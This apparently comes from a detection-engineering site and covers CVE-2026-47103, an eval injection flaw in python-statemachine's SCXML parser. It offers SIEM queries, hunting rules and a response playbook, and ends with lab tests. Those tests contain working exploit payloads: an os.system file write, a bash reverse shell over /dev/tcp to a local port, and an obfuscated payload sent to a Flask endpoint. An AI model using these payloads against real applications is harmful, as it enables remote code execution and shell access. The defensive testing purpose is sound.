python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103)
CVE-2026-47103 is a critical eval injection vulnerability (CWE-95) in python-statemachine versions >= 3.0.0 and < 3.2.0. When processing SCXML documents, the library evaluates expressions in <data expr=...> elements using Python's eval(), allowing an attacker who can supply or influence SCXML input to execute arbitrary Python code in the context of the application process. A public PoC is available and exploitation requires no authentication when SCXML is parsed from user-controlled input. CVSS score 9.8.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- pip
- Product
- python-statemachine
- Versions
- >= 3.0.0, < 3.2.0
Weakness (CWE)
Timeline
- Disclosed
- June 18, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-v4jc-pm6r-3vj8
- https://github.com/fgmacedo/python-statemachine/security/advisories/GHSA-v4jc-pm6r-3vj8
- https://nvd.nist.gov/vuln/detail/CVE-2026-47103
- https://github.com/fgmacedo/python-statemachine/releases/tag/v3.2.0
- https://www.vulncheck.com/advisories/python-statemachine-rce-via-scxml-eval-injection
What is CVE-2026-47103 python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103)?
python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103) (CVE-2026-47103) maps to the Execution and Persistence and Privilege Escalation tactics — the adversary is trying to run malicious code in MITRE ATT&CK.
This page provides production-ready detection logic for python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel, Azure Monitor. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
let vulnerable_import = dynamic(['statemachine', 'python_statemachine', 'StateMachine']);
DeviceProcessEvents
| where FileName in~ ('python.exe', 'python3', 'python3.exe', 'uvicorn', 'gunicorn', 'uwsgi', 'flask', 'fastapi')
or InitiatingProcessFileName in~ ('python.exe', 'python3', 'python3.exe')
| where ProcessCommandLine has_any ('statemachine', 'scxml', '.scxml')
or ProcessCommandLine matches regex @'(?i)(eval|exec).*scxml'
| union (
DeviceFileEvents
| where FileName endswith '.scxml'
| where ActionType in ('FileCreated', 'FileModified')
)
| union (
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ('python.exe', 'python3', 'python3.exe')
| where RemotePort !in (80, 443, 8080, 8443)
| where InitiatingProcessCommandLine has_any ('statemachine', 'scxml')
)
| extend RiskScore = case(
ProcessCommandLine matches regex @'(?i)(subprocess|os\.system|__import__|exec|eval|base64)', 90,
ProcessCommandLine has '.scxml', 60,
40
)
| where RiskScore >= 40
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, RemoteIP, RemotePort, RiskScore
| sort by RiskScore desc, TimeGenerated desc Detects execution patterns consistent with exploitation of CVE-2026-47103: Python processes loading statemachine libraries, creation or modification of SCXML files, suspicious eval/exec patterns in Python command lines, and unexpected outbound network from statemachine-associated Python processes.
Data Sources
Required Tables
False Positives
- Legitimate applications using python-statemachine with developer-supplied SCXML files for workflow automation
- CI/CD pipelines running python-statemachine unit tests with SCXML fixtures
- Data science environments where multiple Python subprocesses are spawned as normal workflow
- Application health-check scripts that spawn Python processes regularly
Sigma rule & cross-platform mapping
The detection logic for python-statemachine SCXML <data expr> Eval Injection (CVE-2026-47103) (CVE-2026-47103) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-47103
References (5)
- https://github.com/fgmacedo/python-statemachine/security/advisories/GHSA-v4jc-pm6r-3vj8
- https://nvd.nist.gov/vuln/detail/CVE-2026-47103
- https://github.com/fgmacedo/python-statemachine/releases/tag/v3.2.0
- https://www.vulncheck.com/advisories/python-statemachine-rce-via-scxml-eval-injection
- https://github.com/advisories/GHSA-v4jc-pm6r-3vj8
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Basic SCXML eval injection via python-statemachine
Expected signal: Process execution of python3 with statemachine and scxml in command line; file creation event for /tmp/cve_2026_47103_pwned by the python3 process; pip install of vulnerable package version
- Test 2SCXML eval injection with reverse shell payload
Expected signal: Python3 process spawning /bin/bash child process with -i flag; outbound TCP connection to 127.0.0.1:4444 (or attacker IP in real scenario) from the python3 process; subprocess.Popen call visible in process tree
- Test 3SCXML eval injection via web API endpoint (simulated)
Expected signal: Flask application process accepting HTTP POST with SCXML content-type; python3 process creating temp .scxml file; file creation event for /tmp/api_pwned; process-level evidence of __import__ string construction via chr() obfuscation
Response Playbook
Triage
- Identify all hosts running Python applications that import python-statemachine (pip show python-statemachine or pip3 show python-statemachine) and confirm version is in the vulnerable range >= 3.0.0 and < 3.2.0.
- Determine whether any SCXML input sources (file paths, API endpoints, message queues) accept user-controlled or externally sourced content that could include malicious <data expr=...> elements.
- Review application logs and process execution logs for the triggering host for any anomalous subprocess spawns, unexpected outbound connections, or file writes by the Python process since the SCXML parsing occurred.
- Check whether a public-facing endpoint directly or indirectly passes user input to python-statemachine's SCXML parser without sanitization or allowlisting of expression values.
Containment
- Immediately upgrade python-statemachine to version 3.2.0 or later on all affected hosts; if upgrade is not immediately possible, block or disable any endpoints that accept SCXML input from untrusted sources until patched.
- Isolate any host where suspicious subprocess execution or outbound C2-like network connections are detected in correlation with statemachine/SCXML activity to prevent lateral movement or data exfiltration.
Evidence Collection
- Capture a memory dump of the affected Python process (if still running) and preserve the full SCXML document(s) that were parsed, including any <data expr=...> elements, for forensic analysis.
- Collect all relevant application logs, Python process command-line history, bash/shell history, and network flow logs from the affected host covering the window of the alert for timeline reconstruction.
Escalation Criteria
- ! Escalate immediately if forensic evidence shows arbitrary command execution occurred (e.g., new user accounts created, reverse shell established, files exfiltrated, or lateral movement to other hosts).
- ! Escalate if the vulnerable application is internet-facing and log evidence suggests the vulnerability was triggered from an external IP address, indicating active exploitation by a threat actor.
Investigation Guide
Forensic Artifacts
- >
Installed package version of python-statemachine: pip show python-statemachine or check site-packages/python_statemachine-*.dist-info/METADATA - >
SCXML files present on disk or passed via API: look for files with .scxml extension containing <data expr=...> elements with Python expressions - >
Python process memory or core dump revealing eval() call stack frames from statemachine.scxml module - >
Shell history and cron jobs created or modified by the Python process user account post-exploitation - >
Outbound network connections initiated by the Python process to unexpected external hosts
Tuning Guidance
Reduce false positives by building an allowlist of known-good Python application paths and parent processes that legitimately use python-statemachine. Exclude developer workstations from high-severity alerting and tune the risk scoring thresholds based on your environment's baseline. If python-statemachine is not used in your environment at all, any match should be treated as critical. For environments where it is used, focus on the co-occurrence of statemachine references with dangerous eval/exec patterns or unexpected network connections as the highest-fidelity signal.
Hunting Queries
Hunt for hosts with high-frequency python-statemachine/SCXML invocations that may indicate automated exploitation or scanning, useful for identifying beachhead hosts or compromised CI/CD runners
DeviceProcessEvents
| where FileName in~ ('python.exe', 'python3', 'python3.exe')
| where ProcessCommandLine has_any ('statemachine', 'scxml')
| summarize count(), make_set(ProcessCommandLine), make_set(AccountName) by DeviceName, bin(TimeGenerated, 1h)
| where count_ > 5
| sort by count_ desc index=* sourcetype IN ("WinEventLog:Microsoft-Windows-Sysmon/Operational", "linux_secure")
| eval cmd=coalesce(CommandLine, command)
| where match(cmd, "(?i)(statemachine|scxml)")
| bin _time span=1h
| stats count values(cmd) as cmds by host _time
| where count > 5
| sort -count Hunt for unexpected SCXML file creation or modification by non-IDE processes, which may indicate an attacker writing malicious SCXML payloads or an exploited service writing files to disk post-compromise
DeviceFileEvents
| where FileName endswith '.scxml'
| where ActionType in ('FileCreated', 'FileModified', 'FileRenamed')
| where InitiatingProcessFileName !in~ ('code.exe', 'idea64.exe', 'pycharm64.exe', 'vim', 'nano', 'emacs')
| project TimeGenerated, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by TimeGenerated desc index=* sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11 TargetFilename="*.scxml"
| eval parent=coalesce(Image, process)
| where NOT match(parent, "(?i)(code|pycharm|idea|vim|nano|emacs)")
| table _time host TargetFilename parent CommandLine
| sort -_time Atomic Red Team Tests
Demonstrates CVE-2026-47103 by loading a crafted SCXML document with a <data expr=...> element containing a Python expression that writes a file to disk, confirming arbitrary code execution via eval().
Command
pip install 'python-statemachine>=3.0.0,<3.2.0' && python3 -c "
import tempfile, os
from statemachine import StateMachine, State
from statemachine.contrib.diagram import DotGraphMachine
scxml_payload = '''<?xml version=\"1.0\"?>
<scxml xmlns=\"http://www.w3.org/2005/07/scxml\" version=\"1.0\" initial=\"s1\">
<datamodel>
<data id=\"pwn\" expr=\"__import__('os').system('touch /tmp/cve_2026_47103_pwned')\"/>
</datamodel>
<state id=\"s1\"/>
</scxml>'''
with tempfile.NamedTemporaryFile(mode='w', suffix='.scxml', delete=False) as f:
f.write(scxml_payload)
scxml_path = f.name
from statemachine.io.scxml import SCXMLParser
parser = SCXMLParser()
parser.parse(scxml_path)
print('Check /tmp/cve_2026_47103_pwned for successful exploitation')
" Cleanup
rm -f /tmp/cve_2026_47103_pwned && pip uninstall -y python-statemachine Expected Telemetry
Process execution of python3 with statemachine and scxml in command line; file creation event for /tmp/cve_2026_47103_pwned by the python3 process; pip install of vulnerable package version
Expected Detection
kql, spl, elastic_eql, and crowdstrike_cql rules should fire on the python3 process command line containing 'statemachine' combined with '__import__' or 'os.system' patterns
Demonstrates CVE-2026-47103 with a more realistic attack payload: a <data expr=...> element that spawns a reverse shell subprocess, simulating an attacker gaining interactive access via a vulnerable web application.
Command
# LAB ONLY - set up netcat listener first: nc -lvnp 4444
pip install 'python-statemachine>=3.0.0,<3.2.0' && python3 -c "
import tempfile
scxml_payload = '''<?xml version=\"1.0\"?>
<scxml xmlns=\"http://www.w3.org/2005/07/scxml\" version=\"1.0\" initial=\"s1\">
<datamodel>
<data id=\"shell\" expr=\"__import__('subprocess').Popen(['/bin/bash','-c','bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'])\"/>
</datamodel>
<state id=\"s1\"/>
</scxml>'''
with tempfile.NamedTemporaryFile(mode='w', suffix='.scxml', delete=False) as f:
f.write(scxml_payload)
scxml_path = f.name
from statemachine.io.scxml import SCXMLParser
parser = SCXMLParser()
parser.parse(scxml_path)
" Cleanup
pip uninstall -y python-statemachine && pkill -f 'bash -i' Expected Telemetry
Python3 process spawning /bin/bash child process with -i flag; outbound TCP connection to 127.0.0.1:4444 (or attacker IP in real scenario) from the python3 process; subprocess.Popen call visible in process tree
Expected Detection
Network connection events correlated with statemachine parent process should trigger kql and elastic_eql sequence rules; crowdstrike_cql subprocess pattern should match; chronicle_yaral subprocess regex fires
Simulates a realistic attack path where an attacker submits a malicious SCXML document to a Flask API endpoint that passes the content directly to python-statemachine's SCXML parser, triggering eval injection.
Command
pip install 'python-statemachine>=3.0.0,<3.2.0' flask && python3 -c "
from flask import Flask, request
from statemachine.io.scxml import SCXMLParser
import tempfile, os, threading, time
app = Flask(__name__)
@app.route('/upload-scxml', methods=['POST'])
def upload():
scxml_content = request.data.decode()
with tempfile.NamedTemporaryFile(mode='w', suffix='.scxml', delete=False) as f:
f.write(scxml_content)
path = f.name
parser = SCXMLParser()
parser.parse(path)
os.unlink(path)
return 'OK'
def send_payload():
time.sleep(2)
import urllib.request
payload = b'''<?xml version=\"1.0\"?><scxml xmlns=\"http://www.w3.org/2005/07/scxml\" version=\"1.0\" initial=\"s1\"><datamodel><data id=\"x\" expr=\"__import__(chr(111)+chr(115)).system(chr(116)+chr(111)+chr(117)+chr(99)+chr(104)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(97)+chr(112)+chr(105)+chr(95)+chr(112)+chr(119)+chr(110)+chr(101)+chr(100))\"/></datamodel><state id=\"s1\"/></scxml>'''
req = urllib.request.Request('http://127.0.0.1:5001/upload-scxml', data=payload, method='POST')
urllib.request.urlopen(req)
print('Payload delivered. Check /tmp/api_pwned')
t = threading.Thread(target=send_payload)
t.start()
app.run(port=5001)
" Cleanup
rm -f /tmp/api_pwned && pip uninstall -y python-statemachine flask Expected Telemetry
Flask application process accepting HTTP POST with SCXML content-type; python3 process creating temp .scxml file; file creation event for /tmp/api_pwned; process-level evidence of __import__ string construction via chr() obfuscation
Expected Detection
Web server process logs showing SCXML content received; file creation alert for /tmp/api_pwned; elastic_eql sequence rule correlating python3 process with subsequent file event; sumo_logic rule may detect chr() obfuscation pattern in application logs